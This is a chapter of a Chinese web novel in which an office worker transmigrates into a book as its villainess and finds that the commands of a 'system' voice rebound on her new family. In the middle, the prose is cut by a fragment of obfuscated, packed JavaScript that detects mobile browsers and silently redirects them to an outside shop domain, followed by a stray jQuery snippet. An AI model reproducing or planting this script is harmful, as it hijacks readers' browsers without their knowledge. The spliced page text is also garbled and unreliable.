【叮!恶毒女配请动手:揍男配挂彩,时限一刻钟。】
“什么男配?”
卜小雨迷迷糊糊翻了个身,只当是在做梦。
但那声音太清晰了,就像是有人贴在她耳边说话。
睁开迷蒙的双眼,映入眼帘的精致床帏让她瞬间回神。
卜小雨不可置信地掐着自己的脸,清晰的痛感提醒着她——这不是做梦。
柔软舒适的床,精美的室内装潢,一看就是非富即贵。这配置,与她那出租屋相比简直是天壤之别。
“小姐,奴婢替您更衣。”两个古装打扮的婢女捧着衣服过来。
“果然是主角待遇。”
看了那么多穿越小说,从未想过,还能亲身体验一回。
她这人最大的优点就是心大——熬夜加班都能忍,这穿越倒是一项很好的福利。
最好再给她一张倾国倾城的脸,也不枉老天眷顾一回。
“这是什么地方?我又是谁?”
两个婢女疑惑地相互看了一眼:“小姐睡迷糊了,这里是您自己的家,您是老爷的千金,卜桑桑啊!”
听到这个名字,卜小雨心里有些堵得慌,这不是她三刷过的那本小说中的恶毒女配吗?
累了一天,本想看两章助眠,现在倒好,直接追进书里了。
幸亏她不爱看种田文。
走到梳妆台前坐下,拿过镜子——这怎么还是她原本的脸?
虽然古装打扮还勉强算个美女,但属于扔进人堆里找不出来的那种,一看就知道没那主角命。
不过好在书中的卜桑桑命还算好,一路作死,也没受到多少惩罚。直到很久之后,大结局,才因为通敌卖国,满门抄斩。
只要她从现在起不作死,应该能避开。
她一个普通上班族,最擅长的就是不出头、不惹事、混到月底拿工资。
她很喜欢书中的女主,这也是她当初反复重读的原因。
这个女主属实不太容易,父亲被贪官害死,女扮男装进京敲登闻鼓,被追杀都不曾退缩,嫁人后被家宅迫害,外面还有恶毒女配的各种手段,而她始终不改本色。
谁会吃饱了撑的,去害她?
卜桑桑由着婢女给她打扮,在现代社会她一直是干净利落的短发,连个辫子都不会扎。幸好这恶毒女配身份高,虽说是纸片人,这待遇可是实打实的。
“大姐——”
一道柔美的女声,带着哭腔从门外传来:“你一定要帮我报仇!”
听这话就知道,是书中的恶毒女配二号,原主的庶妹,卜青禾。原主针对主角的时候,她可没少煽风点火。
书中形容她们姐妹叫“草包双煞,上拳打王孙小姐,下脚踢地痞恶霸。”
她这次又想煽什么火?
卜桑桑转过身,眼前的景象让她懵了一瞬,预想中的白莲花满脸乌青,发髻凌乱,衣服也撕烂了,委委屈屈地进来坐下,她身后的两个婢女也没好到哪去。
看着对面那滑稽样,她有些绷不住,“扑哧”一声笑了出来。
卜青禾用那两只乌青眼瞪她:“我都这样了,你还笑,有你这么当姐姐的吗?”
卜桑桑勉强憋住笑,问道:“你被谁打了?”
“还能有谁,就是安王府那个女人,你昨天打了她,我今天刚出门就被她带人给堵了。不过,她也没好到哪去,她得用很长时间去养头发了。”卜青禾说着摊开了两只手。
乌黑发亮的两大把头发,上面还带着发根,卜桑桑感觉自己头皮都疼了。这还是那个白莲花女配吗?
“你这么凶残,还要报什么仇?”
卜青禾道:“我这最多算是打平了,没赢,当然要报仇,不然我这口气下不去。”
她们正说着,门外突然传来震天一吼:“卜青禾!”
吓了卜桑桑一个激灵,还没反应过来,卜青禾已经藏到她身后了。
门口进来一位中年男人,身上穿着官服,显然是那位尚书大人——恶毒女配卜桑桑的父亲。
尚书进来见到她们,劈头盖脸就是一顿骂:“我昨天才警告你们,你今天又跟人打架,看看你那是什么鬼样子,还有你卜桑桑。”
“我?我怎么了?”卜桑桑不明所以,她又没参与。
“你说说你多大了,啊?”卜尚书伸着两根手指,咬牙切齿道,“十八了,别人家到你这个年纪,孩子都能下地跑了。你倒好,整日不干好事,名声臭出三千里外,哪家敢来提亲?”
“我还以为二十多了。”卜桑桑心里嘀咕,搁现代,十八岁还在刷题备战高考呢,这就催婚了?
“你还敢顶嘴?”
卜青禾探出头来,不服气道:“是她先动手的,我还不能还手了吗?再说了,这事皇上都不管,你怎么还胳膊肘往外拐?”
“你还敢说。”卜尚书气得冲门外喊道,“来人,给我取家法来。”
“我都这么惨了,你一点都不心疼,就记得教训人,有你这么当爹的吗?”卜青禾躲在卜桑桑身后,声音倒是一点也不示弱。
卜尚书被她气得直跺脚,怒而吼道:“你是我爹!”
卜桑桑夹在他们中间,俩人吵得她耳朵嗡嗡响,她却只觉鼻头有些发酸。
以前在孤儿院,她远远见过一个小孩被家长训。那时,她最大的愿望就是,她也能拥有那样的家长。
她刚想说话,脑海中却响起一道冰冷的机器音:
【叮!恶毒女配请动手:让女主摔跤,时限一日。】
之前她以为这声音是在做梦,此刻这声音,她听得清清楚楚。
那个一刻钟时限早就过了,她没有执行,也没见造成什么后果。
那这次,她还当没听见好了。
门外传来一阵急匆匆的脚步声,随后一个美貌的妇人跑了进来:“老爷,孩子不懂事,可以慢慢教嘛,你可千万不要动气。”
卜尚书一听这话更气了:“她们多大了?还慢慢教,都是你,慈母多败儿,把她们惯的无法无天了,今天你再拦我,我连你一起打。”
原主幼年丧母,那这人只能是卜青禾的生母——周姨娘了。
“那老爷就打我好了,都怪我,夫人死的早,将孩子交给我,我却没能帮她看护好。”周姨娘说着眼泪就掉下来了,“都是我没用。”
“你说这些干什么?没人说你没用。”
见卜尚书脾气稍稍放软,周姨娘趁机说道:“那老爷先去用膳,她们就让我来教,你刚下早朝一定饿了。”
“气都气饱了,我迟早得被这几个冤孽给气死,人家那些孩子个个懂事,我怎么就没一个。”
下人举着家法进来:“老爷,家法还要吗?”
卜尚书没好气道:“你都安排好了,还明知故问。”他说完便拂袖而去。
见人走远,周姨娘无奈地看向她们:“你们两个好歹收敛一点,有个女儿家的样子,可别真把你们爹气出个好歹来。”
卜青禾碰了碰脸上的伤,疼得龇牙咧嘴,语气依旧很冲:“那能怎么办?又不是待价而沽的商品,随便拉出去给那些贵人挑选,他想把我们送出去,门儿都没有。”
周姨娘道:“你爹也是为你们好,谁家女儿大了,都得考虑终身大事,难不成你想孤独终老啊?”
“这有什么不可以?”卜青禾眼睛动了动,“不过,娘要是能给我说成纪砚寒的亲事,我就嫁。”
卜桑桑眉头一跳。
纪砚寒?原书男主。
书里原主一直追着纪砚寒跑,但是没看出卜青禾对他有什么感情。
“你这不是为难我嘛,谁都知道,他看上了昨日进京的那个宋惜宁。再说,你现在这名声,也实在配不上人家。”
周姨娘知道劝不动,便道:“算了,你赶紧去擦药,要不然这张脸就毁了。桑桑,姨娘让人把吃的给你送来,今日你可千万别再惹你爹生气了。”
卜桑桑点头答应,听这话,昨天是原书男女主初次相遇的日子。
宋惜宁父亲被贪官所害,宋惜宁女扮男装一路逃亡进京,敲了登闻鼓为父申冤,即将被捉拿时,被纪砚寒所救。
后来,纪砚寒主动帮宋惜宁查案。冤案平反,纪砚寒求得赐婚圣旨,二人得以喜结连理。
原书恶毒女配自小爱慕纪砚寒,自从宋惜宁进京后,便一直追着她迫害,成了全书最大反派。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614294|206041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>难怪刚才那个系统让她迫害女主,原来是要开始推主线了。
不过,她才不想做这个工具人,有这时间,她宁愿呆在家里睡觉,难得不用上班。
翌日,卜桑桑刚到前厅,就听到里面传来骂人的声音,她这个爹还真是有精神。
正犹豫着要不要进去,一个少年从里面跑出来,差点将她撞倒,幸好对方眼疾手快,将她捞了回来。
“大姐,你要小心,爹今天摔了一跤,觉得丢脸,火气大的很,我是先溜为敬了。”他说完便一溜烟跑没影了。
卜桑桑望着他消失的背影,心中五味杂陈。
这是原主的弟弟——卜天麟,原书中的男三,是个典型的纨绔子弟。
后来爱上了比他大三岁的宋惜宁,一直深情守护,直到被原主连累,满门抄斩。
“你杵在那里干什么?当门神吗?”
她还没进去,这火就烧上来了,卜桑桑只能往里走。
刚一进去,就看到了她爹头上包着厚厚一层布,还真摔了?摔到头还骂人骂的这么起劲,看来是没什么大碍。
卜青禾还在那一个劲拱火:“爹,您骂的累不累啊?您都说了,是您顾着和王爷理论才摔的,骂我们算什么本事,有本事你骂王爷去。”
周姨娘一手拍在她背上:“还敢胡说,没大没小的。”
“我可不是胡说,说不定是爹你骂人骂得太凶了,老天看不下去,给你的惩罚。”
卜尚书气得拿起茶杯想要砸她,周姨娘赶忙按住:“老爷,使不得。”
卜桑桑见他爹朝服还没换,衣袖上还有挂破的痕迹,心中也有些认同卜青禾的话。
【叮!恶毒女配请动手:让女主身无分文,时限一日。】
那烦人的机器音再次出现,它似乎只是下命令,别的什么都没有。
而她没有执行,也没见发生什么事。
可她总觉得哪里有些不对劲。
等等——
卜桑桑脑子里闪过那个被忽略的系统提示音。
昨天那个让女主摔跤,时限刚好是今天早上……这么巧,她爹就摔了?
最初它让揍男配,她妹妹卜青禾刚好被揍……
是她想多了吗?
卜桑桑觉得脑袋懵懵的,这巧合——似乎也太巧了。
她才刚尝到一点家的滋味,虽说是纸片人,但感觉是真的。
这破机器——如果真像她猜测的一样,可就太恶毒了。
她越想越觉得可能。
不行,她得再验证一下。
第三个任务是让女主没钱,这对尚书府的每一个人来说,都是无关痛痒的小事,那这个任务她就等明天早上看结果好了。
她只顾想自己的事,完全没听到那边卜尚书已经喊了她好几声,直到周姨娘过来推了她一下:“桑桑,你爹跟你说话呢!”
卜桑桑回过神来:“说什么?说吧!”
卜尚书气得胡子都在抖,抓起桌上的几本书就朝她扔了过来:“你还学会神游了?把这些书拿回去,什么时候背下来,什么时候出门。不认识的,让你妹妹教你,背不出来,谁都不许出门。”
他这话一出,卜青禾立刻就不干了:“爹,你这是故意刁难,大姐字都认不得多少,你让她背这么多书,那我们一个月都出不了门啦!”
卜尚书指着她骂道:“你照照镜子,你那脸比猪头还难看,你还有脸出门啊你?”
卜桑桑看了看她那草包妹妹,心道:“不就是文言文嘛,虽说我学的是金融,但好歹还有以前学过的基础,怎么也不会比她差。”
她蹲下去把那几本书捡起来,自信满满地翻开——
看着那纸页上密密麻麻的小字,她整个人都麻了。
这拧成麻花一样的鬼画符,曲曲折折,偶尔混着几个繁体字样。
连着翻了几页,都是如此。
完了,这下她真成了个彻头彻尾的文盲。
卜青禾还在那边顶嘴:“我觉得没什么不可以。”
“少废话,再敢顶嘴,就给我到祠堂跪着。”
卜桑桑绝望地拉起卜青禾往外走——现在她确实用得着这个草包妹妹了。